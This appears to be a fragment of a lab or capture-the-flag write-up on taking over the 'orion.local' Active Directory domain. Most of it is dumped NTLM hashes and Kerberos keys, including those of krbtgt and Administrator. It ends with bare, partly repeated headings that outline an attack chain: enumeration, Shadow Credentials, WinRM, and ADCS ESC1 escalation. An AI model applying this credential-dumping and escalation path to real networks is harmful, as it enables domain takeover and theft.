orion.local\j.carter:1104:aad3b435b51404eeaad3b435b51404ee:0f364faf111719b140e42d0c0f4ad79f:::
orion.local\s.mitchell:1105:aad3b435b51404eeaad3b435b51404ee:350d67d5efab6274aebfedac8474fe5b:::
orion.local\d.brooks:1106:aad3b435b51404eeaad3b435b51404ee:eb345e0e4678e3d25f117516dc80c288:::
orion.local\m.reeves:1107:aad3b435b51404eeaad3b435b51404ee:0992b8d625304bdb650fd87dd3b4871b:::
orion.local\svc-pki:1108:aad3b435b51404eeaad3b435b51404ee:7db6dd90bc28c4785f7bda0d291680ef:::
orion.local\m.white:1111:aad3b435b51404eeaad3b435b51404ee:1b4f4e8d871ad063ffded46cc620bbf6:::
orion.local\svc-onboarding:1114:aad3b435b51404eeaad3b435b51404ee:606a63037d123216716aad80c015edd3:::
orion.local\d.miller:1116:aad3b435b51404eeaad3b435b51404ee:dde3dc412057f45c065f9e22de99c664:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:41ae6a24bb81ff72eb9404b3d6d51488:::
WS-IT$:1113:aad3b435b51404eeaad3b435b51404ee:6a80ba525d843918e27bc48eef2f4320:::
[*] Kerberos keys grabbed
Administrator:0x14:a51fe50224086803ff3c4f86536b15a2368353378ffb7407f596265b6e37660d
Administrator:0x13:3f2f742bc030697491246b0e9ced9ac6
Administrator:aes256-cts-hmac-sha1-96:930ab4dca9030573997af8caea98614015e06f0722f0a09775424b803b7043d0
Administrator:aes128-cts-hmac-sha1-96:245ec7b2a8afe4fd442157a214ecde90
Administrator:0x17:54c9fa5ad8849c9414602fe021314d49
krbtgt:aes256-cts-hmac-sha1-96:3758c8b969dce9406e43ab5fe56861d5ad33c0f89d19ceff7694f750627f78e6
krbtgt:aes128-cts-hmac-sha1-96:db2a376f4b77907b21953d4947190e1e
krbtgt:0x17:78b40366ffa63a7ebfa3b1a565b1dee8
orion.local\b.williams:0x14:28a9422b03c227625fa20c52e65eeaee80e86707aa2bc28239e2852e0bc85bec
orion.local\b.williams:0x13:a966d5db96a8b80e1b2287fc050b6cf2
orion.local\b.williams:aes256-cts-hmac-sha1-96:00992960395b1e4aa0458cac205693c8009e11b554168b9e3f903aaa6e593694
orion.local\b.williams:aes128-cts-hmac-sha1-96:e41db152ec5ed7c153e8899e8cf9ae7a
orion.local\b.williams:0x17:002a720a0c5ff7eaef06aba90d6cbbbb
orion.local\j.carter:0x14:b3395f270722a4eccab13180a5a5a40af842f2f3d1b3c215fb5ed7f2a761f533
orion.local\j.carter:0x13:2ab1d91f66191dfa0c5db2ba12c83b0f
orion.local\j.carter:aes256-cts-hmac-sha1-96:a970775f8467c90d472ded862e091f5ccca02336dbe459c8ec216565b7f228bf
orion.local\j.carter:aes128-cts-hmac-sha1-96:66ee84790a7ab154761b145dcb4b5efe
orion.local\j.carter:0x17:0f364faf111719b140e42d0c0f4ad79f
orion.local\s.mitchell:0x14:d1e3471a9de317848cf165a63d3e7e10be33bba0c0b5cabc115634db4bbd4899
orion.local\s.mitchell:0x13:8e6cfe25935754e372b794f4fd0282a7
orion.local\s.mitchell:aes256-cts-hmac-sha1-96:7705b82591a09669256d569d60effef0c440e7c02319802f7f414058acafaaee
orion.local\s.mitchell:aes128-cts-hmac-sha1-96:ec4f09a06f45f218386ff8f133cb105f
orion.local\s.mitchell:0x17:350d67d5efab6274aebfedac8474fe5b
orion.local\d.brooks:0x14:fa5d0953ece03386c3d35c6f712c63658d88aa5f467b4c299fc0f83fb71e5661
orion.local\d.brooks:0x13:c3c37ba3aed90235589937c45545df3d
orion.local\d.brooks:aes256-cts-hmac-sha1-96:2883772cffdfdbb4c4766296e86292037dc2c9017facf71f53a7ea9a3541a6b7
orion.local\d.brooks:aes128-cts-hmac-sha1-96:77f225783af773200bc35a8fecbc376d
orion.local\d.brooks:0x17:eb345e0e4678e3d25f117516dc80c288
orion.local\m.reeves:0x14:71500e371bfa14a3d0efeebe19e0fd26399b4382114dd8a8898585c212a922d6
orion.local\m.reeves:0x13:c4f9a8d34f21121efb35a237a44f688b
orion.local\m.reeves:aes256-cts-hmac-sha1-96:83157fa5c9ee0f484edd96addb9a21c08e4087d0f05121c3906642b593835559
orion.local\m.reeves:aes128-cts-hmac-sha1-96:fc17d303c48aaf16f9473c48571e9829
orion.local\m.reeves:0x17:0992b8d625304bdb650fd87dd3b4871b
orion.local\svc-pki:0x14:0f5f9f4462a51ecb3225d8e611f50cbc89d23b91598998fb451e59d68aef6354
orion.local\svc-pki:0x13:28262de795ed5ee1ed94107073b21d6f
orion.local\svc-pki:aes256-cts-hmac-sha1-96:0aea11f00eb19b484e349784a2690fae1df9ec4ca78ca9b1719c16ba0e003f69
orion.local\svc-pki:aes128-cts-hmac-sha1-96:ac51f9d46844ac4969bca50a8b8b006e
orion.local\svc-pki:0x17:7db6dd90bc28c4785f7bda0d291680ef
orion.local\m.white:0x14:c73e9556d50b84de7eaa348778b0755d90d22960454ce2b9661720929e15f636
orion.local\m.white:0x13:adac77a60cfdfe0c1ea69132d24e6aee
orion.local\m.white:aes256-cts-hmac-sha1-96:e46a90a5ea98ec59254a205950914cdb9f8fc165d05033375960f92d28c1c0ad
orion.local\m.white:aes128-cts-hmac-sha1-96:d54a155f6e698a15940beda3fd5c1747
orion.local\m.white:0x17:1b4f4e8d871ad063ffded46cc620bbf6
orion.local\svc-onboarding:0x14:b5e79730a3b6c58ac6b0ca224af817aa181d41c7cb91753683ef8286a91106fb
orion.local\svc-onboarding:0x13:e3c79fdeafa7d02df0e8a11925ee20b9
orion.local\svc-onboarding:aes256-cts-hmac-sha1-96:1d1b8864c9668a196b69e0b2ded73cf6eeab6be26aa8efcc946957192d3ac5f5
orion.local\svc-onboarding:aes128-cts-hmac-sha1-96:5ecdaef8a709f2544d319fcbf4382f6a
orion.local\svc-onboarding:0x17:606a63037d123216716aad80c015edd3
orion.local\d.miller:0x14:16c1cb8a55a1e1792702226e33e80365804d49511fa5723def67446f9bc36e13
orion.local\d.miller:0x13:91d6413ef7ebaffa70529dbea7c3d637
orion.local\d.miller:aes256-cts-hmac-sha1-96:8a0edf6f9ec36766ada2904364e579fd074f8781b2ea561301028193683d264a
orion.local\d.miller:aes128-cts-hmac-sha1-96:652996347eab836243a21a898818c087
orion.local\d.miller:0x17:dde3dc412057f45c065f9e22de99c664
DC01$:aes256-cts-hmac-sha1-96:2a6a2af6e642b9d966cc64656d48efb9663f9a59c4fc48d3e05aab2d333058fb
DC01$:aes128-cts-hmac-sha1-96:0c0193a6084830dbb63b6c8548db1c71
DC01$:0x17:41ae6a24bb81ff72eb9404b3d6d51488
WS-IT$:0x14:7e5868499aade0b35867dd00325fe882c94635c861f6dfbcabd124d81c7eb334
WS-IT$:0x13:4753b8278a0c34a9df8d7353c5ac3194
WS-IT$:aes256-cts-hmac-sha1-96:923c82c6fa26193837499592ace5280d4a1756803c9f5d0469b332e3203755bd
WS-IT$:aes128-cts-hmac-sha1-96:f6f39416250613b883faf18bdbf53f4b
WS-IT$:0x17:6a80ba525d843918e27bc48eef2f4320
[*] Cleaning up...

Rust Scan 10.0.0.5 (DC01.orion.local)

Rust Scan 10.0.0.6 (WS-IT.orion.local)

Adding to /etc/hosts

SMB (445)

10.0.0.5 (DC01.orion.local)

10.0.0.6 (WS-IT.orion.local)

Capture b.williams

Compromised b.williams

Keeping Enumeartion

Compromised svc-onboarding

Keeping Enumeration

Blood Hound

The executable chain

Reset s.mitchell :

Abuse GenericWrite on m.white → Shadow Credentials

Win-RM as m.white

Valuable locations/files on a Windows box, grouped by payoff

Compromised m.reeves

SMB - IT Folder

Compromised svc-pki

ESC1 confirmed.

Compromised administrator

Adding to `/etc/hosts`

Capture `b.williams`

Compromised `b.williams`

Compromised `svc-onboarding`

Reset `s.mitchell` :

Win-RM as `m.white`

Compromised `m.reeves`

Compromised `svc-pki`

Compromised `administrator`